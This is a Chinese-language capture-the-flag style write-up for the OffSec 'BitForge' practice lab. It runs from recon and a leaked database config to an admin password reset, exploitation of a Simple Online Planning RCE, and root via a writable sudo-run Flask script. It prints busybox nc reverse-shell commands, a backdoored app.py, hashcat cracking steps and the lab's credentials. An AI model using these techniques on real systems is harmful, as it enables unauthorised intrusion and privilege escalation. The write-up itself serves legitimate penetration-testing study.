OSCP BitForge Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

BitForge

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

子域名搜集 –> 子域应用版本信息(Simple Online Planning v1.52.01) –> 目录枚举 –> MySQL 数据库连接口令 –> 查看应用源码,得到应用后台用户密码加密规则 –> 通过 MySQL 数据库修改应用后台密码 –> Simple Online Planning 远程代码执行漏洞 –> www-data 用户权限 –> pspy 进程监控 –> jack 用户密码 –> 用户旗帜

权限提升:

/usr/bin/flask_password_changer sudo 权限 –> 修改/opt/password_change_app/app.py 反弹 shell –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
sudo nmap -p- 192.168.228.186 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
9000/tcp closed cslistener

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
sudo nmap -p22,80,3306,9000 -sCV 192.168.228.186

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
|_ 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
80/tcp open http Apache httpd
| http-git:
| 192.168.228.186:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: created .env to store the database configuration
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://bitforge.lab/
3306/tcp open mysql MySQL 8.0.40-0ubuntu0.24.04.1
| mysql-info:
| Protocol: 10
| Version: 8.0.40-0ubuntu0.24.04.1
| Thread ID: 19
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, SupportsCompression, FoundRows, Speaks41ProtocolNew, LongColumnFlag, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, IgnoreSigpipes, ConnectWithDatabase, InteractiveClient, LongPassword, SupportsTransactions, ODBCClient, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: \x1B\x1E/*@nt"\x18mA\x1B\x0BXaOX\x17)
|_ Auth Plugin Name: caching_sha2_password
9000/tcp closed cslistener
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 和 MySQL 服务。

3.2 渗透测试突破边界

3.2.1 子域 Database.inc 泄露 MySQL 密码

访问靶机 HTTP 80 端口发现被重定向至 bitforge.lab 域名,将其添加至本地域名解析。

1
echo "192.168.228.186\tbitforge.lab" | sudo tee -a /etc/hosts

nmap 扫描过程得知系统存在 .git 目录泄露,使用 git_dumper.py 将其克隆至本地,在克隆后的目录中发现 MySQL root 用户密码。

1
python3 git_dumper.py http://bitforge.lab/ ./git

实际上 .git 目录泄露属于兔子洞,利用其泄露的信息对我们没有任何帮助,因为靶机 MySQL 服务禁用了 root 用户登录,且泄露的口令也不能进行复用。

.git 目录泄露在打靶过程需要重点关注,因为它会直接泄露网站源码和 Git 的执行日志,这里只是打靶结束总结出的结论。

通过 .git 泄露的信息无法进一步利用,尝试对域名进行子域枚举,使用工具没有枚举成功,通过点击主站标签发现 plan 子域系统。

将子域添加至本地域名解析。

1
echo "192.168.228.186\tplan.bitforge.lab" | sudo tee -a /etc/hosts

访问子域系统发现其部署了 Simple Online Planning v1.52.01 应用,使用 searchsploit 检索,发现历史存在远程代码执行漏洞。

1
searchsploit Simple Online Planning

将脚本复制至当前目录,测试执行发现需要指定用户名和密码。

1
searchsploit -m php/webapps/52082.py

使用常见的一些弱口令无法登录系统,对子域进行目录枚举时发现了 /database.inc 文件,访问该文件得到了 MySQL BitForgeAdmin 用户密码。

1
dirsearch -u http://plan.bitforge.lab/

1
2
$cfgUsername = 'BitForgeAdmin';
$cfgPassword = 'B1tForG3S0ftw4r3S0lutions';

利用获取的密码可登录 MySQL 管理数据库,为了方便操作这里使用 DBeaver 工具进行远程管理。

3.2.2 MySQL 重置 SOPlanning 管理员密码

由于我们已经有了子域数据库管理权限,可查询或修改数据库中网站后台的用户和密码。

使用 DBeaver 工具检索 soplanning 数据库表信息时,在 planning_use 表发现了 admin 用户的加密密码,使用 hashcat 无法破解。

由于我们不清楚 Simple Online Planning 应用后台密码的加密规则,此时就需要找到应用源码,在源码中检索加密规则,然后再执行破解或直接写入一个新的密码。

Simple Online Planning v1.52.01 源码:

1
https://sourceforge.net/projects/soplanning/

使用 sublime text 打开网站源码所在目录,全局检索 planning_use 字符,发现 class_user.inc 文件定义了一些函数。

其中 hashpassword 函数将密码字符串两端使用 ¤ 进行拼接,然后在通过 sha1 进行加密,这大概率就是写入数据库总的加密密码,由于密码两端使用了特殊符号拼接导致使用 hashcat 无法成功破解。

利用获取的加密规则,使用 CyberChef 生成一个新的密码并写入数据库。

1
http://gchq.github.io/CyberChef/#recipe=SHA1(80)&input=pDEyMzQ1NqQ&ieol=CRLF&oeol=FF

利用修改后的密码成功登录 Simple Online Planning 后台。

1
admin/123456

思考:

对于某些靶场可能需要成功破解加密的密文,然后通过破解的密文进行密码复用,我们就必须生成一个符合加密规则的密码本,然后在执行 hashcat 破解(针对该靶场 rockyou 字典无法成功破解)。

1
sed 's/^/¤/' ~/Desktop/rockyou.txt | sed 's/$/¤/' > rockyou_¤.txt

1
hashcat -m 100 -a 1 hash.txt rockyou_¤.txt

3.2.3 Simple Online Planning 远程代码执行

在 kali 使用 nc 监听 80 端口,再次执行之前复制的攻击脚本,得到网站 www-data 用户 shell。

1
2
3
python3 52082.py -t http://plan.bitforge.lab/www -u admin -p 123456
nc -lvnp 80
busybox nc 192.168.45.170 80 -e /bin/bash

升级为交互式 shell。

3.3.3 Pspy 进程监控,获取到 jack 用户密码

使用 pspy 工具监控系统进程,发现了 jack 用户密码。

通过 su 命令切换至 jack 用户 shell。

1
su jack # j4cKF0rg3@445

3.2.4 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Flask_password_changer 脚本 sudo 权限提权至 root

jack 用户可使用 root 权限执行/usr/bin/flask_password_changer 脚本。

1
sudo -l

脚本用于执行 /opt/password_change_app 目录下的 flask 程序,jack 用户对程序执行的 py 文件具有写入功能,利用该程序,可写入反弹 shell 然后执行 sudo 指令。

1
2
3
4
5
6
7
8
9
10
from flask import Flask, render_template
import os

os.system('busybox nc 192.168.45.170 80 -e /bin/bash')

app = Flask(__name__)

@app.route("/")
def home():
return render_template("index.html")

1
2
3
4
5
# kali
nc -lvnp 80

# shell
sudo -u root /usr/bin/flask_password_changer

成功获取到系统 root 用户权限。

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP BitForge Write-up
https://www.f0nesec.top/2025/08/30/oscp-bitforge/
作者
F0ne
发布于
2025年8月30日
许可协议